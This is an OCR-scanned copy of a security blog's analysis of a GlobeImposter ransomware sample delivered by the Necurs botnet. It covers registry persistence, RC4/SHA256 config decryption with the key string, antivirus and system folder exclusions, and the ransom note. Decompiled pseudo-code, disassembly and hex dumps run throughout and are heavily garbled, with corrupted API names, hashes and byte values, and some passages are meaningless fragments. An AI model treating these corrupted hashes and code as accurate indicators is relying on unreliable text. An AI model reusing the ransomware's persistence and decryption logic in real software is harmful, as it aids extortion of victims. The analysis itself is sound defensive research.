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https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet

On December 26, 2017, the Necurs botnet delivered a late Christmas gift — the new version
of Globelmposter ransomware [source]. Attached to spam messages as zip archives, the zip
archive contains a JavaScript that downloads and installs ransomware on a victim’s
computer.

Static Analysis

The ransomware loader is supplied with the following icon:

AR

Globelmposter Ransomware lcon

The compilation timestamp tells the sample comes from 2016.

pFile Data Description Value
0oo000DC 014C Machine IMAGE_FILE_MACHINE_1386
000000DE 0005 Number of Sections
000000E0  584DCA43 Time Date Stamp 2016/12/11 Sun 21:50:59 UTC

000000E4 00000000 Pointer to Symbol Table
000000ES8 00000000 MNumber of Symbols

000000EC 00ED Size of Optional Header

000000EE 010F Characteristics
0001 IMAGE_FILE_RELOCS_STRIPPED
0002 IMAGE_FILE_EXECUTABLE_IMAGE
0004 IMAGE_FILE_LINE_NUMS_STRIPPED
0008 IMAGE_FILE_LOCAL_SYMS_STRIPPED
0100 IMAGE_FILE_32BIT_MACHINE

However, it was first seen in-the-wild on December 4, 2017 according to Virustotal (MD5:
2ca016fa98dd5227625befe9edfaba9s8).

History ©

Creation Time 2016-12-11 21:50:59
First Seen In The Wild 2017-12-04 14:27:08
First Submission 2017-12-26 15:18:58
Last Submission 2018-01-01 22:04:48

Last Analysis 2018-01-01 22:04:48
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http://www.malware-traffic-analysis.net/2017/12/26/index.html
https://www.acronis.com/en-us/ransomware-protection/
https://www.virustotal.com/#/file/3a9d5976fbf41daf80f0eb9e6b7aadcece52a82fe9609984ef7f8ea166048547/details

Installation

To start itself after reboot:
[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]

"BrowserUpdateCheck" = "C:\Users\<USER>\AppData\Roaming\
<RANSOMWARE_NAME>.exe"

if (¢ )]
{
= 2048,
RegQueryUalueExW{vi, L"BrowserUpdateCheck"™, 8, 8, &uv5, &ul};
if { lstrcmpiW{&v5, 1)

{
if ( *RegCreateKeyExW(
-2147483647,
L"SoftwareviyHicrosoftyviyWindowsyiCurrentUersionyyRunOnce™,
a,
a,
1,
1310878,
a,
&ud,
ay )
{
= 1strlenW{al};
RegSetUalueExW({v3, L"BrowserUpdateCheck"™, @, 1, , 2 * Y;
¥
H

= RegCloseKey{u3};
*
Then the Globelmposter creates the file

‘AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478EOEFA9129C09E7’ in
%All Users%, where the name of the file is the 256-bit RC4 key used to decrypt the
Globelmposter’s config:

82130978B25DC81DB16B51 240ECB1540E4801 829D634DD429436926003C133EF998BE1BF33C8A1A1S
85CTCZ60900ETBF 7T15BEDT9654AFED905861 86A8S4D2383E05TEADIEISBSISSFESBT3354BC32388E8
862A95DASBCIDEYZFCHISTABCOESOD TEIY32TCCE3UB596F 3450 TBIF45D3T6332764119B15CHBERGED
BB39D1CBOOOY1

1B 5D 20 87 A2 2D F4 37 80 B8 5B FE AC 79 DE 5E

ED ES 88 TF FA 2C AS 46 EE D5 32 06 B9 1B 9D 27

A1 8F ©C 8F 1D E® F9 E® 13 72 23 1A 28 DS 99 EE

C1 51 C1 Co 67 2F OA 67 3A D2 BT CE OF FS CF AC

19 4D T4 23 44 AS 2D A3 5A 59 56 0D DO 74 54 BF

48 21 45 FF 12 95 F1 B1 69 F3 BE OE F7 16 7A DF

08 1A B1 F9 OE BD 1C 4F 08 47 BO EB 28 EC FF F7

60 46 86 EB AC FA 53 56 B2 1C D3 27 B8 AO 3A EF

FBE 5B 86 C3 99 F3 B4 09 BA 4C 92 B8 C4 SF 75 7B

Eg BO 70 E4 FB SC 22 A3 C9 32 92 72 14 C5 €9 24

FD 2C 17 D1 B3 97 62 59 6C A9 23 CC 2E 61 7C B3

16 68 29 43 1F DB D3 8C AC B9 15 34 40 94 DI BE

OE OA F2 OB 2C 2E AC AD EF F8 70 C6 CD DO 97 SC

6F D2 58 3F D6 AT E4 7D 75 E8 AD OD OB AE 5C EA

B& 15 9A FE 8B 31 14 FO 43 6C CD 63 0A B8 E9 57

3C 1B 4A 65 DO A9 3C OB BD E6 13 C2 A8 89 8D 2F
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Decryption of the payload

The Globelmposter reads its encrypted image and decrypts itself by 32768(8000h)-byte
blocks to the nsr3.tmp file in the %Temp% folder.

AR

il s =

A84831ES
A84831ES
A84831ES
A84831EA
A84831FA
A84A31FA
A840831FF
a840832 M1

loc_ 4831E5:

push offset dword 48BB878
mov dword 48B288, ebp
mouv dword 4BBE8Y, B000L
call DecryptPayload

test eax, eax

jl

short loc_48326D

100.00% |(264,1253) |{532,292) |000025FA |004031FA:

sub_ 403211A+E0

(D] Hex Yiew-1
8042 03CE 6D D4 55 B8 55 2C D1 85 F7 91 D7 E3 5F 81 95 | .+U+U,-ala+p .0
OO4203DE F1 95 82 70 D5 67 CB F1 16 62 78 FD CA 7C 25 OC :0.p+g-:.br*-|%.
004283EE 75 AB FB 4A BA CA BS 4D BD BS 16 F2 F2 2C 51 54 UKUJE+'M+'.==,QT
BB4283FE  2C 1B FD AS B2 BA 73 A2 15 31 B6 BC 24 25 B2 FA ,.ZH::SD 10 .5%! -
BO420480E 92 4A 47 67 F2 6D 4C 58 S5F BA 57 61 D6 EE 42 BA dAJGg=.LFP_.Wa+eB]
B8428481E 4B F4 36 6D 51 BE 52 36 A4 B1 59 98 81 7A 98 11 H{ﬁmﬂ+Hﬁﬁ:?ﬂ.2ﬂ.
DO420842E 9E 26 F4 55 93 C1 F@ EF CD 57 8A 22 10 89 5C 44 P&{UG-=n-We".E\D
BO42043E 1F AG 24 86 1F F9 96 E3 A8 1B 37 5A D9 D7 47 19 .a%5..-lp;.72++G.
Oo42044E C6 1D 72 BC E1 EB EC 85 OB 7C D4 E1 BB 49 83 AD ! _r+ndB8a.|+n+I3;
BAL2045E 49 32 41 B2 40 C2 75 08 A7 B2 4 1B B2 39 48 EF I2A.1I-u.2_H.]%Hn
pOL2O4GE 92 1D AA C6 43 D7 58 49 FO D7 SF CB 89 C9 77 85 MA.-'C+XI=+ +@+ua
Oe42047E EE 96 B85 F7 6E BE 77 14 31 79 57 7F B8A 51 1A 5F eii.En+u. 1yw..u
BBHZBHBE 69 B9 O4 1A 65 EE 41 BD &4F 30 7A 9A C2 88 5E E1 i...eep+0Bzii-87p
3 ﬁ EyAS3EE 70 F@ AS AS 8@ A5 FO FB FF FF OB 8D 85 FO FB FF  }=HACH-v
/? if { tvés ) FF AS 6B 80 04 00 80 58 FF 73 14 AS FF 15 08 30 -fh.. P 5. Fi
291 goto LABEL_188; @0 18 B> 45 F@ BB 3D 708 30 00 18 68 14 B4 00 0O E= i ph..h....
292 ¥ 50 8D 85 FO FB FF FF 60 FF 5@ FF 73 18 FF D7 8B F 5'0 j P-s.
293 H3 NBY153FE 45 F8 BB 48 2% B3 CO 02 3B C1 89 45 FB 7C 03 89 E°INS$E«.;-FE” | F
294 #( BYTE =)u67? = #( BYTE =){al + 2h); 0OH1SL0E 4D F8 A1 CC 50 00 10 85 CO0 74 0B BB D1 28 55 FB H°{|P. et i-
295 uBA = w7 + 15 BON15018 B9 hD FE 81 SS F& F6 43 OC 01 74 4B FT DB 1B CO EM°.U=:C. tkl< .
296 vl = wit - 1; on15h28 FERETECRICLT 28 D4 40 68 28 D4 40 08 00 0B 00 00 (TA.(+@.(+Q.
297 qoto LABEL_27; BEN1SL3E 65 Th 69 6E 6? 20 81 DB 88 20 53 65 74 75 78 0@ eting-.-G- SEtup
298 case 7: ABENASLLE  ©F E@ En EB ED F7 FD ED ED ES 28 EC EG E9 F1 F2  JaDafB*fFfs-BaTs
299 if ¢ (unsigned intjus » 7 ) nR415456 F@EA 20 A2 F1 F2 E0 ED EE AZ EA B3 20 @1 DB B0 =a- 6 .m-du. i’ |;
300 { —l|aps1su68 @0 €5 En ES C7 C1 20 E3 D1 D& CF 20 C5 DA CF 07  .+S5]--p-s--ss-)
am1 i -= 8; OONASL7E  CF 20 @1 DO 8O 0D 59 6F 7S5 72 20 63 6F 6D 70 75 I',‘ Your - :onpu
aez +u79; HEYISLEE 74 65 T2 20 6D 75 73 Th 20 62 65 20 72 65 T3 7H tEr must-be-rest
ana -=u78; BENISLOE 61 72 7h 65 64 28 69 6E 20 6F 72 64 65 72 20 7h arted-in-order-t
any ¥ GENISLAE  6F 28 6% &F 60 7@ 60 65 74 65 28 7h 68 65 28 49 o-complete-the-i
ans qgoto LABEL_180; ARAISLEE  6E 73 7h 61 6C 6C 61 74 69 6F 6E 2@ 6F 66 20 M1 nstallation-of-.
1 case B: ORYISLCE DD BA 2E 20 b 6F 20 79 6F 75 20 7¥ 61 6E Th 20 -C.-Do-you-want
307 while ( 2 ) 0OMASLDE T4 6F 20 72 65 62 6F 6F T4 20 6E 6F 77 3IF 00 CA  to-reboot-now?.-
388 ooy 154EE  E@ E1 20 E7 E@ EA EE ED F7 FBE F& FC 20 F3 F1 F2  ab-talefllvin-=z=
aen if { (unsigned int)u2 £ 3 ) CLEURES |I & EBED EE A2 EA F3 20 81 DO 80 2C 28 ED ES E® E1  afedd=- .-G, -Fsab
310 i 155 F5 EE EN ED E@ 20 EF E5 F@ E® E7 EOG E3 FB F3 ET )eSFa-ns-atap--t
411 if ( vie ) B3 F6 FGC 200 ER ED EC EF F3 F2 EB F@ 2E 28 D6 B3 | +n-DaBn==a=
a1z { 20 E6 ED EN EB E5 F6 E5 20 C2 FB 20 E7 FB ED E1 jlaSaS #5e=u- l‘-al'!
313 -y : B3 F6 FC 200 E3 FD F2 E0 20 E7 E@ FO ED EF 8F 00 #n-pi=a-ta=at?
ALY | #{_BYTE =)u78++ << vi; lIIJ|1 IK ED CC CB 200 C5 DA C7 CF C9 20 CA D4 DB ED E1 20 Flv-vej-v--+}

00006165 [De crwb)wlold 288

|7] e View-3

[om4ls4ze: . data: \‘i\mrd_‘llSlzs.

03] Heat View-1
BB41CD4E
BE41CD56
BB4I1CDAL
BR4ICDT 6
AE4ICDAG
0B41CD96
BAYICDAG

BB41CDEG
BALICDLG
BA4ICDD 6
R4 1CDE 6
OB41CDFE
0841CE B

UNEHOWH [0041CDE6: . data:

a8 @8 B0 00 08 00 88 08
@08 @8 B0 00 08 00 B8 08
@0 60 00 B0 60 00 60 98
A3 @8 B0 0R 08 00 BB 08
B 7c 24 08 @1 75 15 FF
A0 00 FF 74 24 10 FF 15
@@ 55 BB EC 81 EC 28 04
50 68 10 8B &5 14 A3 E@
50 60 10 8D 85 DB F9 FF
98 ©0 B0 0@ 85 C@ 75 5C
@4 90 B0 S0 ES B2 AD 0O
83 65 Eb 00 89 45 ED 8D
8D 85 DB F9 FF FF 83 &5

DD4LCDEE

7h 24 10 6GA @1 68 66 A4
Ch 30 B8 10 33 ¢o C2 10 .

00 B0 88 45 BC 56 A3 OC
SO B0 10 8B 45 18 A% EN

FF &8 B4 01 B0 08 50 EB

BD 85 D8 FD FF FF 68 BB §...a+
00 BS CA 7S 47 BB NS BE ..

B% DC FE FF FF 89 A5 EB
FC B0 89 45 EC 8D 85 DB

+--den. EEO A=

BRLODIED
BANBDIFY
CLET T
ARNADLTD
CLLT R
BRLIDLIT
B B4 ODLLY
BALADLED
BRNBDLAD
ARNADLTD
ARLODLED
CRETT T
BRLADLAT

[ 1 T

=

UNENOWH [0040D423: . data:

B0 68 00 00 00 00 A0 00
80 68 00 00 0@ 00 00 69
B0 @8 00 PO 6@ 06 A0 A9
@0 @8 00 B0 6@ 00 A0 69

@ 69 6E 67 28 01 DO BO

ED EA EO ED F7 FD ED ED
E@ 208 AZ F1 F2 EO ED EE
C5 EW E5 C7 C1 20 E3 D1
20 @1 DO 80 8@ 59 &F 75
65 72 2@ 60 75 73 74 29
72 Th 65 64 2@ 69 GE 20
20 63 6F &D 7D &C 65 T4
73 Th 61 6C 6C 61 74 69

DD40D4Z3

a0 00 08 00 00 08 00 A0 . ...............
a0 00 60 00 00 66 00 00 ....
@0 00 BB 90 00 GG 00 6B ....

@8 00 68 0@ 00 AA 00 25
20 53 65 7h 75 70 00 C7
ES 200 EC E@ E9 F1 F2 FO
A2 EA B3 20 01 DA 80 00
D4 CF 28 C5 DA CF C7 CF
72 20 63 6F 6D 78 75 Th
62 65 28 72 65 73 7h 61
6F 72 64 65 72 20 7h 6F
6% 20 74 68 65 20 69 6E
6F GE 28 6F 66 28 @1 DO

ting-.

aDaFm*FFs5-BaTa==

@ ﬁx aFeéﬂ c
Ss =

-G-Setup.}

APt b
l; \'Dul crmput
oF -aust -be -resta
rted-in -order-to
-complete-the-in
stallation-of-.-

It extracts the System.dll (MD5: 3f176d1ee13b0d7d6bd92e1c7alb9bae) that is a part of
.NET framework to ‘%Temp%\nsp4.tmp\” folder.
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Also, the Globelmposter drops the file ‘LGU’ which is 67653 bytes in size (MD5:
eba731947245c854d71341a41de88260) with encrypted data to the Temp folder.

A st i m AR AR R wriaaa

Be arars = wra

e e
ecx, [ebp+HCh]

UHKHDWHlDDSBEDEE: debugl=0: 00ZEEDCE
+ |4 |
@ Hex Wigw-1

HB3CHFER
BB3CHFFA
fe3DbBoon
ge3paeia
aB3pae2a
AB3paBe3a
ae3Da84a
ge3paesa
B83Da8B6 A
g83Daa7 a8
fe3D o0
aB3paeoa
aB3DaeAa

debugB36:863BEDCY mow
debugB38: 883BEDCA push eCx
debugB38: 883BEDCE mow edx, [ebp-4]
debug@3@:A83BEDCE push edx
debugB3@:A83BEDCF push a
debugB30: 863BEDD1 push 1
debugB308: 863BEDD3 push a
debugB3@8: 863BEDDS mow eax, [ebp-18h]
debugB36:863BEDDE push eax
debugB3@8: 883BEDD? call dword ptr [ebp-36h] ; CryptDecrypt
debugB3@8: 83BEDDC test eax, eax
r - |debug@3@:BA3BEDDE jnz short loc_ 3BEDES
; debug@3@:A83BEDEA push a
I debug@3@:@683BEDE2 call dword pty [ebp-78h]
; debug@3@: BAIBEDES
| debuqg@38:883BEDES loc 3BEDES: » CODE XREF: deb
I
I
|

aa
a8
DA
D8
DB
AE
63
43
i1
a5
2B
FA
61

aa
a8
58
48
L7
A’
o7
D5
ap
C1
98
F3
06

aa
a8
FE
70
FS
8C
AE
7E
2D
6E
16
29
88

aa
a8
EC
69
5
ES
LB
a3
33
F2
LE
B2
21

aa
a8
26
28
fE
6F
A8
55
8E
ia
29
64
23

aa
a8
2C
82
oc
A8
12
51
3R
BS
54
Lo
Lil)]

aa
a8
F3
B3
Lil)]
F7
ar
9F
A7
1
A
DF
8F

aa
a8
K 1H
LC
AE
1D
a5
52
58
an
[i1H
BY
BE

aa
a8
oA
2E
8F
ta
aa
iy
2D
D2
18
L%
EB

aa
a8
84
AF
67
AE
43
9
ES
C8
E7
EC
iy

aa
a8
18
FA
a4
A8
27
34
c2
23
94
1A
L8

aa
a8
M
A
ap
Fh
ED
22
44
9C
e
LD
ta

aa
EE
1E
C7
EB
D3
ap
EC
BB
a7
40
Do

i
0o
ERA
95
6D
F1
co
DY
F5
AD
CE
88
B1

aa
a8
[iT1]
fF
BC
Da
18
5D
Bi
FD
2B
14
L6

T0fF=<iid.++X18%,¢
.ﬁ.:\.»'i+Eyi{é¢
I m+mee . gl= | WIU™E .
ﬂi-l.P«a(«QiFﬂaj
++_ 5 _C'Feolley .2
.+]ERty4"C+~ . UQ.
8)'2X-s5-Dg.-36:ij
+;2@_ —+0Fa-n=p'8
.++il.tﬁP+..H}T5
LE. 'U8.]-=)!dy!
+1F . . dtXPailiG*#m.

Config decryption

The Globelmposter contains the string used to calculate the SHA256 hash, which is the key
to extract the config data.

CONFIG_KEY = SHA256
(“B231B717113902E9F788C7BD0C7ABABAF9B173A7F6B432076B82CBCB7C8149F3C
F2F55A8CBDD772BFB4EOA319AE1ED45EB4AAGC4C6BAC6E11014BDD47D3BDDA0ODC
19B7F217C8A1B33BCAE7681020436907BEC78FO0E47AD285D72B8E5466C83114CC
40D44A081A604F05E2D147DFC3AEDDYA7B69D493176EFD7D8B0D264D1A2BFB14F
ECC1378A8D90547A2F6CA070E90F95FCAAS4FA26FASD63DC84C6C3780D4BB41BE
4B608343D72DDES52DE40A2A06D56482454F9DF058E65C3F02CBE1B77289F39ECS
BDBC58653A35476A205CD7C75A40D34ECFA56DA0A6433E141FOD9ACG60DFBAA21E
8AEB5658168253A315F298EDBC7850D3D79BB1E15FEF367F5BD27BF8D” )
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AE09C984DF6E74640B3271EADB5DD7C65FDEB06235B2CDA478EOEFA9129C09E7

The Globelmposter’s payload decrypts its config, represented by the following C pseudo
code:

Ul = AllockMem{32);

SHA25a6(
(int)"BZ231B717113902E9FFBBCFBDACFABABAF9B173A7FF6BL32 87 6BB2CBCB7C8149F3CF2F55ABL
BxZ288u,
va,
aj;

dword 4BCFES

dword 4BCFEC

dword_4BCFEA

unk 146868 = 0;

GetModuleFileHameW (8, 1331152, 2848);

GetEnvironmentUariableW({L"temp', 1333224, 2048);

DecryptConfig{vh, (int)dword 4813E8, 34, Bx28u);

DecryptConfig{vh, {int)dword 481484, 38, 0x208u);

dword 4HACBCA sub_ 48968A{{int)dword 4B13EQ, B8);

dword 4BCBCS DecryptConfig 2({{int)dword 481148, {int)&dword 4BCBCY4, vB, 661);

dword_4BDAYS DecryptConfig_2({{int)dword_481438, (int)&dword_4B8CA%8, vA, 512);

if { *GetEnvironmentUariableW({L"appdata™, &ui7, 2048} )
goto LABEL_2;

1strcatW{&ui1?, L"\\");

ul = PathFindFileHameW(133115%2);

lstrcatW{&uiy, vi);

v? = 1strcmpiW (1331152, &ui7);

16 = {int)&u17¥;

if ( v2 )

{

sub_L4B264F (1331152, 2048);
sub_4B264F (1333224, 2048);
sub_4B264F (1335304, 2484);

LOBYTE{v3) = GetFileAttributes{{int)&u17);
if {( tu3 && *CopyFileW (1331152, &ul7, 8) )
goto LABEL_8;
vl = (int)&ui?;
¥
AddToAutorunKeyp{ui6};

To decrypt the config data, Globelmposter uses RC4 cipher with 256-bit key.
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8040A315 RC4_DecryptConfig proc near
8840A315
8848A315 arg_ A= dword ptr &
0040A315 arg_%4= dword ptr BCh
8040A315 arg_8%= dword ptr 16h
8848A315 arg_C= dword ptr  14h
Ba408A315
8840A315 push ebp
8848A316 mow ebp, esp
8040A318 push esi
8840A319 push [ebp+arg_C]
8@48A31C push [ebp+arg_A]
B8840A31F call RC4 K3A
0840A324 xor esi, esi
8848326 cmp [ebp+arg_8], esi
0040A329 jle short loc_48A33E
I
I
8040R32B push edi

8848A32C mov

edi, [ebp+arg_4]

FEE

a084B8A32F

8840A32F call
a848A334 xor
B040A337 inc
8040A338 cmp
B848R33E j1

B046A32F loc_4BA32F:

RC4_PRGA
[esi+edi], al
esi

esi, [ebp+arg_8]

short loc_4BA32F
T =

a64813B89
864013CH0
80481308
064813E9
804013F0
80401408
aa4814189
00401420
80401438
ae481449
80401450
80401468
aaue1470
80401480
a8481490
a84814A0
80401480
a84814C0
aeue14DB
804014E0
ge4814F 0
gaye1500
80401518
aa481529
a64815380
80401548
a8481559
a84 81568
80401578
g84815889
aau@1599
80401508
g84 815819

F4 DD 81 EE 79 14 C3 CD DD 4F BA D6 5A FB C7 95
¥A 12 4F AC 6B FE 91 2D 2C EC 56 47 93 5D 9F BB
F5 DF BB CB 2B B5 7B 37 73 C5 06 Cu4 47 B0 60 0@
2E 2E 64 6F 63 88 52 65 61 64 5F SF GF 4D 45 2E
68 74 6D 6C 0O 32 3 3C 51 EB &4 79 77 56 17 ko
CAAGUC T 7A EB 78 E2 88 F3 78 ED 1B 51 83 B9
4a BE F5 65 43 2A 35 9E 66 4C 2E 84 BE BB D8 B8
6C 2B 86 57 B2 88 A7 30 G6E 83 00 DO 00 B8O 060 PO
B6 AB 7D E9 BC AC 7F 97 82 4F 5B 91 86 43 D4 6A
4C 6F 7B D6 47 37 35 73 1F AB C6 5C 24 66 43 13
51 18 BB 2D ¥4 93 29 25 49 2A F3 BS 2E C8 26 A7
A7 24 A1 38 E5 12 76 1A 27 86 AD D3 A5 11 E7 28
CF 40 BB E1 17 12 25 56 F1 B? B4 4B CB 51 61 BL4
FB D4 CC F8 1B C4 C5 8A 14 3B 3B FD 01 75 46 DE
74 30 A2 20 C3 &7 CA 12 AR EB D3 CC 71 B4 26 RS
5D 8C 32 69 B6 11 DE 22 3C 4E 9B 25 F7 D5 C3 CB
F¥ D5 58 1D F5 FB@ 2C 89 39 BE 35 EC 2A CD A8 6D
AD GD 6D C3 F7 F3 C4 DE A3 F6 58 95 ED 34 B1 EE
F1 20 55 BA A1 A1 88 96 BC 81 B? 21 48 1E 2D Eé6
31 83 BB E1 4E 98 15 6B E2 B4 AB 30 1E 14 AC ED
D7 BB 23 B? OF 52 6E B8 8D 4B 21 86 BA 92 DA CE
81 F9? E5 BE 70 6B 2B AE 42 14 DE 47 9C F2 EF 29
57 A5 DC FO 4A 42 3B 5 BD 19 3Ia 9B 58 1F 43 62
82 F6 81 CB F1 6C D3 8@ 92 14 GCF 4E E8 BE 6A 46
LE 20 EC 8A 2F C8 5A BE FD 79 3E 17 E7 97 19 47
B8 46 57 85 EB 26 2B AF ED E4 BE D7 41 B2 3E 36
BD 5B 5C 67 3D 2B 84 80 E8 96 68 EV 1C 1B 68 BF
BB C5 15 24 C5 C4 C6 BE 4A CB 78 65 2D 4B 8@ B4
BA EB EC C9 49 DB 47 65 FF EF 65 24 61 70 38 3D
78 45 52 CB D5 A6 AE FA BF D6 23 4C 28 54 BS 81
8C F3 54 5C 51 C1 F? 4C 1B 98 82 58 47 75 A7 BF
4 DB F1 Co6 59 38 F1 54 22 9C 99 E6 DA 73 37 2B
25 D8 67 32 E3 92 7D 50 65 38 D4 B3 B4 A6 87 DS

(}.ey.+-10}+2=1b
z.0%K 2 ,8UGE 0+
Y +—+1{75+.-G...

...-2dxGG=pf.0.!
J.)eC=5PFL. . ++.
1+.W..2=pd......

LayT+%. i 0[e.C+j
Lo{+G755_3!\§FC.
0.+-td)ZI*=a.+62
o8i8s.u.*3;+H.t

-@+h . _%U+!1K+Qa!
=+1%.—+B_ ;5% UF]
tO--+g+ oF+iql &N
13241, 1 CNEEE+++
B+P.)=,E0058%—;n
;—ml=-!0:POf4'e
- ifdh+. 1@ —p
13IDN. . KG1%0. J%F
++#! Rn. _Kaed . d++
-"5.Zk+«B. | GE=n)
WH_=JB;2+.:¢K.Cb
€+.-21+GAE -NFAJF
N-8B/+ZAzy> _th.G
FUadE+FS++A.>6
+[\g=+_GFi‘t.. "+
++. G4 L Jepe-GC]
'dg+I-Ge-n.$ap8=
RER—+3c=++HL{T! .
1=2\Q--L.ij.XGuo+
Liz!y@T Elip+s7+
%+Q2pEyP _8+512 +

Once decrypted, the extracted config looks as follows:

BaLa1294
BaLa12a0
BaLA12B0
BaLa12ca
BasaE12Dpa0
BA4AE12EQ
BA4AE12FA
Ba4A13840
ge461310
BaLa13240
BaLA1330
BaLA1340
Ba4Aa1350
Ba4Aa1360
Ba4Aa1370
Ba4Aa1380
ge461390
BaLa13a0
Basa13e0
BasAa13ca
Basa130a0
BA4Aa13EQ
Ba4A13FA
Ba4 81480
geLe110
BaLa14240
BaLA1L30
BaLa1440
BaLA1L5a
BA4A1460
Ba4A1L47 A
Ba4A1480

The folder exclusions list

69 63 72 6F 73 6F 66 F4 2E 4E 45 54 B0 49 A6E ¥4
65 72 6E 65 7L 28 45 F8 78 6C 6F 72 65 ¥2 B0 4B
61 73 78 65 72 73 6B 79 20 4C 61 62 688 4Db 63 1
66 65 65 HAB 41 F6 69 72 61 BB 73 7O 79 ¥4 A5 63
68 28 73 6F 66 74 77 61
6E 66 69 67 BA 41 76 61
62 B8 53 72 6D 61 6E ¥4 65 63 BA 53 79 6D 61 6E
74 65 63 5F 43 6C 69 65 6E 74 SF 53 65 63 75 72
69 74 79 B8 73 F9 F3 ¥4 65 6D 28 76 6F 6C 75 6D
65 28 69 6E 66 6F 72 6D 61 74 69 6F 6E B8 41 56
L7 B8 4D 69 63 F2 6F ¥3 6F 66 74 28 53 68 61 72
65 64 688 43 6F 6D 6D 6F G6E 28 46 69 6C 65 73 0@
4F 75 ¥4 6C 6F 6F 6B 28 45 7R FA F2 65 F3 73 60
40 6F 76 69 65 28 4D 61
60 65 B8 4D 6F FA 69 6C 6C 61 28 46 69 72 65 66
6F 78 B8 4F ¥A 65 72 61
f2 6F FF 73 65 72 B0 6E 74 6C 64 72 @8 57 737G
73 88 58 72 oF 67 72 61
65 72 2C 2E 34 64 62 2C 2E 34 64 64 2C Z2E 34 64
2C 2E 34 6D 78 2C 2E 61
2E 61 63 63 64 62 2C 2E 61 63 63 64 63 OO0 B0 0O
2E 2E 64 6F 63 68 52 65 61 64 S5F S5F SF 4b 45 2E
68 74 6D 6C 6@ 2E 2E 64 G6F 63 6@ 58 3Aa 5C 30 38

SC 21 B8 A0 il

6D 6C 88 2E 2E 64 6F 63

21

21 21 21 21 21

2B 21

72 65 BA 73 79 73 63 6F
F3 74 B8 Ly 72 PE 57 65

6B 65 72 A8 43 68 72 6F

BA 592 61 6E 64 65 78 42

6D 44 61 74 61 68 2E 24

62 73 2C 2E 61 62 78 2C

64 G5SF S5F SF 4D 45 2E 68 7

88 58 3a 5C 38 38 5C 21
2B 21 68 B0 B0 60 08 OO

2E 2E 64 6F 63 @8 50 3a 5C 38 38 5C 21 21 21 21
21 21 21 2B 21 2B 21 2B 21 2B 42 75 69 6C 64 65
F2 31 37 31 31 31 380 5C 78 61 74 63 68 2E 74 6D
78 B8 68 86 1A 1B BB 3B 75 36 B8 A8 90 2B B4 6@
BB 2B 684 86 DA 2B B4 60 FO 2B 64 A0 18 2C B4 6@
38 2C 684 88 58 2C B84 68 78 2C 684 A0 28 2C B84 68

The config contains:

icrosoft _HET.Int
ernet-Explorer .K
aspersky-Lab.McA
fee_fivira.spytec
h-software.sysco
nfig.fAvast._Dr . We
b.Symantec.sSyman
tec_Client Secur
ity.system-volum
e-information. AU
G.Microsoft-Shar
ed.Common-Files.
Outlook-Express.
Movie -Maker .Chro
me .Mozilla-Firef
ox.0pera.¥YandexB
rowser ..ntldr .Wsu
s .ProgrambData..$
er,.4db, . 4dd, .ud
, -4mp, .abs, .abx,
.dccdb, .accdc. ..
--doc.Read__ HME.
html...doc.P:\88
\*..Read__ HME.ht
ml...doc.P:\@8%?

--doc.P:-hO0yteee
t12+t+t+t+Builde
r171118\patch.tm

ﬂ---P---P-------
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Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows Defender,
ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player,
Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits,
Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell,
Temp, NVIDIA Corporation, Microsoft. NET, Internet Explorer, McAfee, Avira, spytech
software, sysconfig, Avast, Dr.Web, Symantec, Symantec_Client_Security, system volume
information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker,
Chrome, Mozilla Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData.

The file extensions exclusion list
.$er,.4db,.4dd,.4d,.4mp,.abs,.abx,.accdb,.accdc

The string to be added as an extension to encrypted files. The string already contains a
dot which means the encrypted file will look like: ‘picture.png..doc’.

.doc
The file name with the ransom note
Read _ ME.html
Another 512 bytes of data of unknown purpose mostly filled with zeros

The last decrypted block is a ransom note:
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(it ug =
69 if ¢ ve )
A {
i1 -—us;
Fir's Sleep(1888);
i3 H
FiL! H
7% while { w7 > 8 && vE );
fb ifF { v €1
77 ] (uo =
Fi
9
@ zo
81
2|LABEL_2:
83 ExitProcess{1};
g4l wil =
ooooszic |so
1] |

@ Hex: Wigw-1

CreateKeyFile{vi);

AllocHem{3466) ,
ZeroMemory({u?®, @, 3466},
sub 4824EB(v9, {(int)&word HOD7LA, 3J466),

34
(vid = Str3trAafv?, "{{IDEHTIFIER}}")) == 8) )

1strlenA("{{IDENTIFIER}}"};

a814D5 B8
B814D518
A814D5218
a8140538
A814D5 48
A814D558
B814D568
A814D578
B814D588
88140598
A814D5A8
A814D5ES
A814D5C8
a814D5D8
B814D5ES
A814D5F8
881406 88
B 140618
A814D628

a8
K 1H
L%
EE
2E
i2
Li1H
28
22
69
3E
ac
ap
3E
61
68
ap
i2

a8
21
42
4y
28
6F
69
3JE
28
75
FiL
ap
62
an
3ac
i2
32
(53]
65

The list of the processes to be terminated is stored outside of the encrypted config, in the

payload body.

Key file

T
uy
ue
20
22
72
63
a0
ac
74
6C
o
6F
ac
68
65
3E
ac
63

T
uF
49
ug
68
67
74
oA
6D
66
65
20
64
62
32
28
3c
64
&F

a8
43
43
5y
iy
2F
2E
28
65
2D
3E
28
0
i2
3E
45
2F
69
¥h

a8
54
28
4D
iy
5y
64
28
iy
38
64
ac
3E
3E
59
6E
64
FiLi]
65

a8
5o
22
4C
ia
L2
iy
3ac
61
22
ili]
2F
ap
ap
6F
63
69
3E
i2

a8
e
2D
28
an
2F
64
68
28
3E
FiL
68
an
an
5
i2
]
1]
70

BS
45
2F
a4
2F
68
22
65
63
ap
7
65
ac
28
i2
i9
3E
aF
28

5}
28
2F
2E
2F
iy
3E
61
68
(53]
ac
61
63
28
28
ia
ap
72
6E

28
48
¥
a8
¥7
6D
ap
64
61
28
2F
64
65
28
il
iy
an
28
65

5}
54
a3
N
¥7
60
53]
3E
i2
28
FiL
3E
6E
28
69
65
3ac
G4
65

12
4D
43
2F
¥7
34
3ac
ap
i3
28
69
ap
iy
ac
60
64
64
61
64

a7
1 H
2F
2F
2E
2F
68
Bn
65
28
FiL
an
65
64
65
21
69
ih
73

1E
28
2F
45
¥7
73
iy
28
iy
K 1H
6C
28
i2
69
73
3ac
]
61
28

e
Ly
4E
a3
iy
6D
28
a0
ih
65
28
3E
¥h
28
2F
3JE
28
64

........ bo{ennns
<tDOCTYPE -HTHL -P

